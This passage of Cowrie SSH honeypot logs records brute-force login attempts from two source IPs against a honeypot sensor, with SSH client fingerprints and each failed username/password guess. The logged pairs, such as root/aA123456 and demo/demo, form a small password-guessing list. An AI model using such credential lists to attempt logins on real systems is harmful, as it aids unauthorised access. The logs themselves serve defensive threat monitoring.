0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:03.948310Z","src_ip":"45.153.34.114","session":"85e5be50a169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:04.205427Z","src_ip":"45.153.34.114","session":"85e5be50a169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:05.293897Z","src_ip":"45.153.34.114","session":"85e5be50a169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35724,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e78aab9a62","protocol":"ssh","message":"New connection: 45.153.34.114:35724 (159.203.135.109:22) [session: b0e78aab9a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:11.713881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:11.718806Z","src_ip":"45.153.34.114","session":"b0e78aab9a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:11.810358Z","src_ip":"45.153.34.114","session":"b0e78aab9a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:12.072378Z","src_ip":"45.153.34.114","session":"b0e78aab9a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:13.188277Z","src_ip":"45.153.34.114","session":"b0e78aab9a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59856,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf7170053ff","protocol":"ssh","message":"New connection: 45.153.34.114:59856 (159.203.135.109:22) [session: fcf7170053ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:19.821500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:19.831539Z","src_ip":"45.153.34.114","session":"fcf7170053ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:19.926521Z","src_ip":"45.153.34.114","session":"fcf7170053ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:20.209122Z","src_ip":"45.153.34.114","session":"fcf7170053ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:21.298188Z","src_ip":"45.153.34.114","session":"fcf7170053ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50752,"dst_ip":"159.203.135.109","dst_port":22,"session":"2223f160b6f9","protocol":"ssh","message":"New connection: 103.75.199.4:50752 (159.203.135.109:22) [session: 2223f160b6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:21.349298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:21.354423Z","src_ip":"103.75.199.4","session":"2223f160b6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:21.445435Z","src_ip":"103.75.199.4","session":"2223f160b6f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:21.720207Z","src_ip":"103.75.199.4","session":"2223f160b6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:22.814301Z","src_ip":"103.75.199.4","session":"2223f160b6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59858,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dcc0d44ce34","protocol":"ssh","message":"New connection: 45.153.34.114:59858 (159.203.135.109:22) [session: 1dcc0d44ce34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:27.565280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:27.572376Z","src_ip":"45.153.34.114","session":"1dcc0d44ce34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:27.664189Z","src_ip":"45.153.34.114","session":"1dcc0d44ce34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:27.933296Z","src_ip":"45.153.34.114","session":"1dcc0d44ce34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:29.023729Z","src_ip":"45.153.34.114","session":"1dcc0d44ce34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50174,"dst_ip":"159.203.135.109","dst_port":22,"session":"890146ca87f0","protocol":"ssh","message":"New connection: 45.153.34.114:50174 (159.203.135.109:22) [session: 890146ca87f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:35.860764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:35.866543Z","src_ip":"45.153.34.114","session":"890146ca87f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:35.948515Z","src_ip":"45.153.34.114","session":"890146ca87f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:36.277086Z","src_ip":"45.153.34.114","session":"890146ca87f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:37.366984Z","src_ip":"45.153.34.114","session":"890146ca87f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59182,"dst_ip":"159.203.135.109","dst_port":22,"session":"32357fb2d901","protocol":"ssh","message":"New connection: 103.75.199.4:59182 (159.203.135.109:22) [session: 32357fb2d901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.212324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.217397Z","src_ip":"103.75.199.4","session":"32357fb2d901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.308300Z","src_ip":"103.75.199.4","session":"32357fb2d901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41800,"dst_ip":"159.203.135.109","dst_port":22,"session":"5018423f61aa","protocol":"ssh","message":"New connection: 45.153.34.114:41800 (159.203.135.109:22) [session: 5018423f61aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.512284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.516709Z","src_ip":"45.153.34.114","session":"5018423f61aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.580705Z","src_ip":"103.75.199.4","session":"32357fb2d901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.601799Z","src_ip":"45.153.34.114","session":"5018423f61aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:43.857910Z","src_ip":"45.153.34.114","session":"5018423f61aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:44.673845Z","src_ip":"103.75.199.4","session":"32357fb2d901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:44.958022Z","src_ip":"45.153.34.114","session":"5018423f61aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50430,"dst_ip":"159.203.135.109","dst_port":22,"session":"759c49527b18","protocol":"ssh","message":"New connection: 45.153.34.114:50430 (159.203.135.109:22) [session: 759c49527b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:51.532278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:51.535633Z","src_ip":"45.153.34.114","session":"759c49527b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:51.618382Z","src_ip":"45.153.34.114","session":"759c49527b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:51.912972Z","src_ip":"45.153.34.114","session":"759c49527b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:53.017303Z","src_ip":"45.153.34.114","session":"759c49527b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38426,"dst_ip":"159.203.135.109","dst_port":22,"session":"f16396bb875e","protocol":"ssh","message":"New connection: 45.153.34.114:38426 (159.203.135.109:22) [session: f16396bb875e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:59.437283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:59.441508Z","src_ip":"45.153.34.114","session":"f16396bb875e","protocol":"ssh"}
